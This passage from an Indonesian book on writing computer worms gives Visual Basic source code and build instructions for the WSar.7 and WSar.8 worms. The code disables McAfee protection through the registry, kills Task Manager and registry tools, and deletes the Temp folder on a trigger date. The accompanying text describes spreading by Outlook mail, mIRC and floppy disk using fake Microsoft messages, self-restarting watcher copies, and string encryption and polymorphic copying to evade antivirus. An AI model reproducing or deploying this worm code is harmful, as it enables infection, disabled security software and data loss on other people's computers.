Private Sub McAfee_MyFriend() On Error Resume Next SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanHeu" & _ "ristic", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "EmailScan:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "WS:Enable", "040000" & _ "0003000000bc2a899adf5032ed55263f04e7e3392704040404")
202Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ScriptStopper:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanAll" & _ "Files", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:LoadAtS" & _ "tartup", "0400000003000000bc2a899adf5032ed55263f04e7e" & _ "3392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\Customize\Options\AShield", "State", _ "4d4352470100000004000000040000003827d569621fecd14" & _ "3ed118d7a2ea0bea2231907")End Sub
Private Sub tmrIseng_Timer() If Minute(Now) = 30 And Second(Now) = 1 Then Printer.CurrentX = 1000 Printer.CurrentY = 1000 Printer.FontBold = True Printer.FontUnderline = True Printer.FontItalic = False Printer.FontSize = 30 Printer.Print("WSAR.7 WAS HERE") Printer.CurrentX = 1000 Printer.FontUnderline = False Printer.FontItalic = True Printer.FontSize = 18 Printer.Print("BRING THE TRUTH TO YOUR HOME") Printer.EndDoc() End If If Day(Now) = 13 And Month(Now) = 10 Then Call Payload()End Sub
Private Sub Form_Terminate() Shell(App.EXEName & ".exe") ExitWindowsEx(2, 0&)End Sub
Private Sub tmrWinForce_Timer() WinQuit("task") WinQuit("find") WinQuit("search") WinQuit("run") WinQuit("reg") WinQuit("config")End Sub
Private Sub Payload() Dim kiddie As Object Dim tmpfolder As Object kiddie = CreateObject _
203Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
("scripting.filesystemobject") tmpfolder = kiddie.GetSpecialFolder(2) Deltree(tmpfolder) MsgBox("WSar.7 Ada Pada Komputer Anda", vbExclamation)End Sub
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinForce menggunakan module yang sama pada WSar.5
Berikut penjelasan tentang kode program:
Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mematikan proses sistem operasi Windows, function API untuk mendapatkan status koneksi Internet dan function untuk mendapatkan direktori Windows dan direktori System Windows.
Saat form di-load, worm memeriksa path file utama, jika file utama tidak berada pada folder System Windows maka worm akan membuka aplikasi Notepad yang merupakan suatu upaya rekayasa sosial. Hal ini berkaitan dengan icon file txt yang digunakan worm, sehingga user akan percaya jika yang dieksekusinya ternyata adalah file text yang kosong.
204Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Kemudian worm akan memeriksa keberadaan aplikasi McAfee VirusScan dengan mengambil salah satu dari nilai registry yang dibuat oleh aplikasi tersebut. Jika ditemukan maka worm akan memanggil procedure McAfee_MyFriend, worm juga memanggil procedure InfectSystem dan procedure mIrc.
Procedure cmdSend_Click adalah procedure yang akan dijalankan saat user mengklik tombol Send Error Report pada form yang ditampilkan. Procedure ini membuat form disembunyikan, menampilkan sebuah kotak pesan berupa teks "System will scan your outlook files including your address book for some reason, you may see the Outlook confirmation dialog, please allow access and click yes in confirmation box. Thanks for your contribution - Microsoft Windows Team" dengan caption yang berbunyi "MICROSOFT WINDOWS TEAM - PLEASE READ THIS", dan saat user mengklik tombol OK pada kotak pesan tersebut worm kemudian memanggil procedure InfectMail.
Procedure InfectSystem akan membuat salinan worm pada folder Win-dows dengan nama file wintweak.exe dan pada folder Sytem Windows dengan nama file KERNE132.EXE, kemudian memanipulasi registry agar file kerne132.exe akan aktif saat Windows startup.
Worm juga memanipulasi registry dengan tujuan agar Windows Ex-plorer tidak menampilkan ekstensi exe walaupun user menghilangkan seleksi pada opsi Hide extensions for known file types pada Folder Op-tions. Sehingga nama worm tetap terlihat berekstensi txt, contohnya mystery.txt dan readme.txt.
Procedure tmrSpreading_Timer akan memanggil procedure InfectFloppy jika satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13. Kemudian menampilkan form jika system terhubung ke internet dan jika menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13.
Procedure InfectFloppy membuat data array yang memuat 10 nama file worm yang akan disalinkan ke disket. Worm kemudian memeriksa apakah file worm sudah ada pada disket atau tidak dengan memeriksa file yang berakhiran "txt. exe". Jika tidak ditemukan maka worm akan membuat salinan ke disket dengan salah satu nama file yang diambil secara acak.
205Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Procedure InfectMail akan mengirimkan sebuah e-mail untuk setiap alamat yang ada pada MS Outlook address book dengan subjek: wintweak yyyy (tahun depan), body: Here’s a file that will tweak your windows more faster..., dan sebuah file attachment yang merupakan file worm dengan nama wintweak.exe dan berada pada folder Windows.
Procedure mIrc akan memeriksa keberadaan aplikasi mIRC dengan mencari suatu nilai pada registry yang sekaligus akan mengembalikan nilai berupa path aplikasi tersebut, kemudian membuat salinan worm ke folder Windows dengan nama wintweak.exe.
Worm juga membuat file bernama script.ini yang merupakan file kon-figurasi aplikasi mIRC, dengan manipulasi konfigurasi ini worm akan memberikan salam dan menawarkan suatu file (wintweak.exe) yang terlihat berguna untuk meningkatkan performa komputer, dengan kalimat-kalimat sebagai berikut:
1. Hello.. here’s a file that will tweak your windows more faster...2. Hello.. here’s a file that will increase your computer memory up to
64 MB...3. Hello.. here’s a file that will increase your VGA Card memory...
Procedure McAfee_MyFriend bertugas untuk memanipulasi registry untuk menonaktifkan semua opsi tab ActiveShield pada kotak dialog Options dan semua opsi pada kotak dialog Advanced ActiveShield Op-tions. Selain itu, worm juga akan menyembunyikan tab ActiveShield pada kotak dialog Options.
Procedure tmrIseng_Timer akan mencetak suatu kalimat pada printer jika menit menunjukan nilai 30 dan detik menunjukan nilai 1. Adapun kalimat yang dicetak akan terlihat sebagai berikut:
WSAR.7 WAS HEREBRING THE TRUTH TO YOUR HOME
206Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Pada tanggal 13 Oktober, worm akan memanggil procedure PayLoad.
Procedure Form_Terminate akan dijalankan jika user menghentikan proses worm dengan menggunakan suatu program (seperti program antivirus ) atau melalui Task Manager.
Procedure ini akan mengeksekusi kembali file worm dan berusaha untuk me-restart komputer dengan menggunakan function API ExitWindowsEx, penulis akan memberikan metode turn off yang lebih baik pada WSar selanjutnya.
Procedure tmrWinForce_Timer akan menutup setiap aplikasi yang pada caption-nya memuat kata task, find, search, run, reg atau config.
Procedure Payload akan menghapus folder dan seluruh sub folder pada direktori Temp. Kemudian menampilkan sebuah kotak pesan yang berbunyi "WSar.7 Ada Pada Komputer Anda"
Module mdlDeltree berisi suatu rangkaian instruksi dan membentuk suatu function yang berguna untuk menghapus folder dan sub folder beserta file yang ada didalamnya, function ini hampir mirip dengan perintah deltree pada perintah eksternal Shell DOS.
207Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
BAB 14WORM WSar.8
Seorang worm writer dengan nickname [K]alamar pernah membuat suatu script menggunakan bahasa pemrograman Visual Basic Script (VBS) yang kemudian terkenal dengan istilah
"Anti Deletion Methode", suatu metode yang menyulitkan user untuk menghapus file worm.
Melalui WSar.8 penulis akan mendemonstrasikan metode ini dengan teknik yang berbeda dan dikembangkan sehingga bisa digunakan pada bahasa pemrograman Visual Basic serta file worm lebih sulit untuk dihapus.
Selain itu WSar.8 juga menggunakan teknik yang umumnya digunakan worm modern, seperti teknik encryption dan polymorphic.
Uniknya worm ini ditambahkan suatu rutin yang akan membasmi varian worm lokal Pesin dan Kangen jika ditemukan pada system komputer yang sama.
Metode ini hampir sama dengan metode yang digunakan oleh RontokBro, suatu worm lokal Indonesia lainnya yang muncul di-pertengahan tahun 2005.
208Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
14.1 WATCHER METHODEMetode Watcher adalah suatu metode yang membentuk suatu rang-kaian program yang saling mengawasi satu sama lainnya, tidak hanya mengawasi keberadaan program tetapi juga mengawasi hal lain seperti suatu konfigurasi, keberadaan atau ketidakadaan suatu hal atau me-ngawasi suatu kejadian tertentu.
Metode ini penulis gunakan pada WSar.8 sebagai pengganti metode Anti Deletion. WSar.8 saat menginfeksi suatu system akan mem-buat salinan dirinya pada direktori System Windows dengan nama WINWORD.EXE dan langsung mengeksekusi file tersebut.
Saat tereksekusi, file WINWORD.EXE akan memeriksa apakah pada direktori Windows terdapat file SPOOL32.EXE dan apakah file tersebut sedang aktif, jika tidak maka WINWORD.EXE akan membuat salinan dirinya ke direktori Windows dengan nama file SPOOL32.EXE dan langsung mengeksekusinya.
Saat tereksekusi file SPOOL32.EXE akan kembali memeriksa apakah pada direktori System Windows terdapat file dengan nama WINWORD.EXE dan apakah file tersebut sedang aktif.
Jika tidak maka SPOOL32.EXE akan membuat salinan dirinya ke direk-tori System Windows dengan nama file WINWORD.EXE dan langsung mengeksekusinya.
Demikian proses tersebut berulang secara berkesinambungan, sehingga jika salah satu proses file tersebut dihentikan maka file lainnya akan membuat salinan yang baru dan langsung mengeksekusinya, sehingga kedua file tersebut terlihat seperti tidak bisa dihapus.
Dengan metode yang sama WSar.8 melakukan pemeriksaan terhadap registry yang dibuatnya, jika data registry terhapus, secara otomatis WSar.8 akan membuat kembali data registry tersebut.
209Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
14.2 ENCRYPTION METHODEEncryption Methode atau metode enkripsi adalah suatu metode yang mengubah suatu kode yang mudah dimengerti menjadi sulit untuk dimengerti. Proses enkripsi secara umum dapat digambarkan sebagai berikut:
Plain text disini adalah teks atau pesan awal yang masih mudah untuk dimengerti, kemudian melalui suatu proses yang disebut enkripsi maka dengan suatu algoritma tertentu teks tersebut diubah sehingga sulit untuk dimengerti (cipher text).
Untuk mengubah kembali cipher text maka dilalui lagi suatu proses yang disebut dekripsi dengan menggunakan kebalikan dari algoritma enkripsi, perhatikan gambar berikut ini:
Gambar diatas adalah suatu contoh proses enkripsi dan dekripsi dengan
210Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
algoritma menambahkan satu untuk enkripsi dan sebagai kebalikan-nya dengan mengurangi satu untuk proses deskripsi, sehingga untuk proses enkripsi huruf D akan menghasilkan E, A akan menghasilkan B, R menghasilkan S, M menghasilkan N dan L akan menghasilkan M.
Untuk proses dekripsi huruf E akan menghasilkan D, B menghasilkan A, S menghasilkan R, N menghasilkan M dan M akan menghasilkan L.
Algoritma proses enkripsi dan dekripsi tidak terbatas pada proses pertambahan dan pengurangan saja, tetapi juga pada perkalian, pem-bagian dan dapat berupa kombinasi dari operator-operator aritmatik lainnya.
Enkripsi diatas adalah salah satu metode Substitution Cipher. Metode ini tergolong paling sederhana, mudah digunakan dan juga mudah untuk dipecahkan. Namun demikian dalam rangka menyulitkan penganalisaan maka pada WSar.8, algoritma yang digunakan dibagi menjadi 3 bagian, yaitu:
1. Karakter ascii 65 hingga 90, ditambahkan dengan 127 sehingga karakter 65 menjadi karakter 192, 66 menjadi 193 dan seterusnya
2. Karakter ascii 97 hingga 122, ditambahkan dengan 121 sehingga karakter 97 menjadi karakter 218, 98 menjadi 219 dan seterusnya
3. Karakter ascii 48 hingga 57, ditambahkan dengan 196 sehingga kara-kter 48 menjadi karakter 244, 49 menjadi 245 dan seterusnya, untuk lebih jelasnya perhatikan tabel ascii pada halaman 211 berikut ini:
211Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
212Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Dengan algoritma tersebut maka plain text "Achmad Darmal" akan menjadi cipher text "ÀÜáæÚÝ ÃÚëæÚå".
Berikut ini adalah gambar saat worm WSar.8 yang tidak terenkripsi (kiri) dan terenkripsi (kanan) di buka pada suatu aplikasi hex editor.
Bisa Anda bayangkan jika lokasi suatu nilai registry yang dibuat dan sangat dirahasiakan dapat diketahui dengan mudah, hanya dengan melihat body program yang tidak terenkripsi.
14.3 POLYMORPHIC METHODEMetode polymorphic adalah suatu metode yang membuat file program worm atau virus berubah setiap penginfeksian. Berubah disini bisa berupa perubahan pada isi program maupun ukuran program terse-but.
Metode polymorphic biasanya digunakan worm atau virus untuk menghindari scanning dari antivirus yang umumnya menggunakan metode checksum dalam mengenali worm atau virus.
213Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Pada WSar.8, penulis membuat suatu function dengan nama PolyCopy yang penggunaannya hampir sama dengan function FileCopy, hanya saja function ini akan mengubah beberapa byte tertentu pada file tu-juan.
Byte yang dapat diubah umumnya tidak akan menimbulkan bugs apapun pada program asli, sebagai contoh berikut ini adalah tampilan worm WSar.8 saat dibuka dengan menggunakan suatu aplikasi hex editor.
Pada byte ke 78 sampai dengan byte ke 115 terdapat string "This pro-gram cannot be run in DOS mode". String ini adalah suatu pesan yang akan ditampilkan apabila user mencoba untuk mengeksekusi program tersebut pada DOS mode.
Apabila pesan ini diubah maka tidak akan menciptakan bugs baru pada kode program, kecuali menampilkan pesan baru hasil perubahan jika dieksekusi pada DOS mode.
Saat belum dilakukan perubahan program ini memiliki nilai crc32 "8E9F13A1", namun setelah dilakukan perubahan dengan mengganti huruf "e" pada byte ke 115 menjadi huruf "y" maka nilai crc32 program tersebut berubah menjadi "E247760C". Hal ini membuktikan bahwa pe-rubahan apapun pada body program akan mengubah nilai checksum program tersebut.
214Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Perlu Anda ketahui bukan hanya string diatas saja yang dapat diubah tanpa menciptakan suatu bug baru, tetapi sesungguhnya sepanjang kode program banyak terdapat string seperti itu, misalnya informasi Company Name, Product Name, File Version, Product Version atau Internal Name yang biasanya selalu ada pada setiap program yang terkompilasi dengan bahasa pemrograman visual.
Catatan:
Mengubah suatu file menggunakan hex editor cenderung merusak program utama, untuk itu jangan menambah atau mengurangi byte pada body program, perubahan pada string hendaklah disesuaikan dengan jumlah string yang memung-kinkan untuk diubah, dan selalu siapkan backup untuk program yang akan diubah
14.4 ALGORITMAWSar.8 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Pada nama program utama tertentu worm akan menyembunyikan aplikasi file worm dari task list
3. Membuka aplikasi MS Word dengan teks beranimasi lengkap saat user mengeksekusinya
4. Menginfeksi system dengan membuat salinan worm pada folder Windows, System Windows dan langsung mengeksekusinya, ke-mudian memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup
5. Membuat salinan pada setiap direktori yang aktif pada aplikasi Windows Explorer dengan menggunakan function polycopy
215Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
6. Dampak lain yang ditimbulkan adalah membuat animasi pointer mouse yang memantul disekitar layar selama 8 detik setiap menit-nya
7. Menghapus infeksi dari worm lokal lainnya, yaitu worm Pesin dan Kangen
8. Pada tanggal 13 Oktober, worm akan me-restart komputer dengan menggunakan metode sendkeys.
14.5 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'Document1 – Microsoft Word’. Salah satu function pada module mdlDir memiliki referensi pada Microsoft Shell Controls And Automation, sehingga kita terlebih dahulu harus membuat project mengacu pada file tersebut dengan cara:1. Klik Project pada menubar, dan pilih References.2. Pada kotak dialog References, beri seleksi pada opsi Microsoft Shell
Controls And Automation, kemudian klik OK.
Kemudian tambahkan 1 buah object ListBox, 4 buah object Timer dan 7 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Properti object Form1
Jenis Nilai KeteranganName frmWSar8 Mengatur nama form menjadi frmWSar8
BorderStyle None Tidak memberikan garis tepi pada form
ControlBox False Tidak menampilkan ControlBox pada form
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.8 menggunakan icon word.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
216Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Properti object Timer1
Jenis Nilai KeteranganName tmrDir Mengatur nama Timer menjadi tmrDir
Enable False Pastikan Timer tidak aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap satu detik
Properti object Timer2
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable False Pastikan Timer tidak aktif saat form di-load
Interval 1 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 0.001 detik
Properti object Timer3
Jenis Nilai KeteranganName tmrSPOOL32 Mengatur nama Timer menjadi tmrSPOOL32
Enable False Pastikan Timer tidak aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer4
Jenis Nilai KeteranganName tmrWINWORD Mengatur nama Timer menjadi tmrWIN-
WORD
Enable False Pastikan Timer tidak aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object List1
Jenis Nilai KeteranganName lstDir Mengatur nama ListBox menjadi lstDir
217Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Properti Module1
Jenis Nilai KeteranganName mdlCrypt Mengatur nama module menjadi mdlCrypt
Properti Module2
Jenis Nilai KeteranganName mdlDir Mengatur nama module menjadi mdlDir
Properti Module3
Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlReg-
istryAPI
Properti Module4
Jenis Nilai KeteranganName mdlRestart Mengatur nama module menjadi mdlRestart
Properti Module5
Jenis Nilai KeteranganName mdlWildMouse Mengatur nama module menjadi mdlWild-
Mouse
Properti Module6
Jenis Nilai KeteranganName mdlWinCheck Mengatur nama module menjadi mdlWin-
Check
Properti Module7
Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit
218Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Ketik kode program berikut ini pada module mdlCrypt:
Option Explicit On
Public Function Encrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 65 To 90 NewChar = Chr(Asc(NewChar) + 127) Case 97 To 122 NewChar = Chr(Asc(NewChar) + 121) Case 48 To 57 NewChar = Chr(Asc(NewChar) + 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Encrypt = NewTextInputEnd Function
Public Function Decrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 192 To 217 NewChar = Chr(Asc(NewChar) - 127) Case 218 To 243 NewChar = Chr(Asc(NewChar) - 121) Case 244 To 253 NewChar = Chr(Asc(NewChar) - 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Decrypt = NewTextInputEnd Function
219Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Ketik kode program berikut ini pada module mdlDir:
Private Enum FileParts ExtOnly NameOnly NameExt PathOnlyEnd Enum
Private Function FilePart(ByVal FullPath As String, Optional ByVal WhichPart _
As FileParts = NameOnly) As String Dim lArray As Object Select Case WhichPart Case ExtOnly If InStr(FullPath, ".") Then lArray = Split(FullPath, ".") FilePart = lArray(UBound(lArray)) End If Case NameOnly, NameExt lArray = Split(FullPath, "\") FilePart = lArray(UBound(lArray)) If WhichPart = NameOnly Then lArray = Split(FilePart, ".") FilePart = lArray(LBound(lArray)) End If Case PathOnly Dim lFileName As String lFileName = FilePart(FullPath, NameExt) FilePart = Replace(FullPath, lFileName, "") End SelectEnd Function
Public Function GetDir(ByVal List As ListBox) On Error Resume Next Dim stra As String Dim objShell32 As New Shell32.Shell Dim objWindows As Object Dim lngCounter As Long objWindows = objShell32.Windows List.Clear() For Each objWindows In objShell32.Windows stra = ChangeAll(Mid(objWindows.LocationURL, 9, Len _ (objWindows.LocationURL) - 8), "/", "\") stra = ChangeAll(stra, "%20", " ") stra = ChangeAll(stra, "%7b", "{") stra = ChangeAll(stra, "%7d", "}") stra = ChangeAll(stra, "%5b", "[") stra = ChangeAll(stra, "%5d", "]") stra = ChangeAll(stra, "%60", "`") stra = ChangeAll(stra, "%23", "#") stra = ChangeAll(stra, "%25", "%") stra = ChangeAll(stra, "%5e", "^") stra = ChangeAll(stra, "%26", "&")
220Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
If Left(Right(stra, 4), 1) = "." Or Left(Right(stra, 3), 1) = _ "." Then stra = FilePart(stra, PathOnly) End If If Right(stra, 1) <> "\" Then stra = stra & "\" End If If Mid(stra, 2, 2) = ":\" Then List.AddItem(stra) End If Next objWindows = Nothing objShell32 = NothingEnd Function
Private Function ChangeAll(ByVal Source As String, ByVal Search As _ String, ByVal Restring As String) As String Dim hitung As Integer hitung = Len(Replace(Source, Search, Search & "*")) - Len(Source) ChangeAll = Replace(LCase(Source), Search, Restring, 1, hitung)End Function
Ketik kode program berikut ini pada module mdlRestart:
'Contoh penggunaan fungsi SendKeysOption Explicit On
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds _ As Long)Public Declare Sub keybd_event Lib "user32" (ByVal bVk _ As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal _ dwExtraInfo As Long)Public Declare Function MapVirtualKey Lib "user32" Alias _ "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType _ As Long) As LongPublic Const KEYEVENTF_KEYUP = &H2Public Const VK_CONTROL = &H11Public Const VK_ESCAPE = &H1BPublic Const VK_R = &H52Public Const VK_TAB = &H9Public Const VK_SPACE = &H20Public Const VK_UP = &H26Public Const VK_RETURN = &HD
Public Function Restart() Dim aba, baa, aab As Integer Dim bab, bba, abb As Integer Dim abc As Integer aab = MapVirtualKey(VK_UP, 0) aba = MapVirtualKey(VK_CONTROL, 0) baa = MapVirtualKey(VK_ESCAPE, 0)
221Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
bab = MapVirtualKey(VK_R, 0) bba = MapVirtualKey(VK_TAB, 0) abb = MapVirtualKey(VK_SPACE, 0) abc = MapVirtualKey(VK_RETURN, 0) keybd_event(VK_CONTROL, aba, 0, 0) keybd_event(VK_ESCAPE, baa, 0, 0) keybd_event(VK_CONTROL, aba, KEYEVENTF_KEYUP, 0) keybd_event(VK_ESCAPE, baa, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_UP, aab, 0, 0) keybd_event(VK_UP, aab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_RETURN, abc, 0, 0) keybd_event(VK_RETURN, abc, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_R, bab, 0, 0) keybd_event(VK_R, bab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_TAB, bba, 0, 0) keybd_event(VK_TAB, bba, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_SPACE, abb, 0, 0) keybd_event(VK_SPACE, abb, KEYEVENTF_KEYUP, 0) Sleep(0)End Function
Ketik kode program berikut ini pada module mdlWildMouse:
Option Explicit On
Private Declare Function SetCursorPos Lib "user32" (ByVal X As _ Long, ByVal Y As Long) As LongPrivate Declare Function GetCursorPos Lib "user32" (ByVal lpPoint As _ POINTAPI) As LongPrivate Type POINTAPI X As Long Y As LongEnd TypeDim XState As IntegerDim YState As Integer
Public Sub WildMouse(ByVal value As Boolean) If value = False Then Exit Sub Const Speed As Integer = 10 Dim ptCurrentPosition As POINTAPI Call GetCursorPos(ptCurrentPosition) If XState = 0 Then If (ptCurrentPosition.X + 1) >= (Screen.Width \ _ Screen.TwipsPerPixelX) Then ptCurrentPosition.X = ptCurrentPosition.X - Speed XState = 1 Else ptCurrentPosition.X = ptCurrentPosition.X + Speed End If
222Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Else If ptCurrentPosition.X <= 0 Then ptCurrentPosition.X = ptCurrentPosition.X + Speed XState = 0 Else ptCurrentPosition.X = ptCurrentPosition.X - Speed End If End If If YState = 0 Then If (ptCurrentPosition.Y + 1) >= (Screen.Height \ _ Screen.TwipsPerPixelY) Then ptCurrentPosition.Y = ptCurrentPosition.Y - Speed YState = 1 Else ptCurrentPosition.Y = ptCurrentPosition.Y + Speed End If Else If ptCurrentPosition.Y <= 0 Then ptCurrentPosition.Y = ptCurrentPosition.Y + Speed YState = 0 Else ptCurrentPosition.Y = ptCurrentPosition.Y - Speed End If End If Call SetCursorPos(ptCurrentPosition.X, ptCurrentPosition.Y)End Sub
Ketik kode program berikut ini pada module mdlWinCheck:
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongPrivate Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As LongPrivate Const TH32CS_SNAPPROCESS As Long = 2&Private Const MAX_PATH As Integer = 260Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd Type
223Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
Public Function WinCheck(ByVal sExeNam As String) As Boolean Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then WinCheck = True Exit Do Else WinCheck = False End If LoopEnd Function
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, dan module mdlWinExit menggunakan module yang sama pada WSar.6.
Tahap selanjutnya adalah mengetik kode program pada object frmWSar8, namun sebelumnya untuk mendapatkan suatu string teren-kripsi (cipher text) dapat dilakukan dengan cara berikut ini:
1. Pastikan Anda sudah membuat module mdlCrypt2. Aktifkan Immediate Window dengan cara menekan kombinasi
tombol Ctrl+G3. Pada jendela Immediate, ketik perintah berikut ini:
print encrypt("plain text")
Contoh, untuk mendapatkan cipher text dari string "Worm Komputer" dapat menggunakan perintah berikut ini
print encrypt("Worm Komputer")Öèëæ ÊèæéîíÞë
4. Selanjutnya Anda tinggal copy paste pada jendela Code.
224Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Setelah itu, silahkan ketik kode program berikut ini pada object frm-WSar8:
'WSar.8 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255
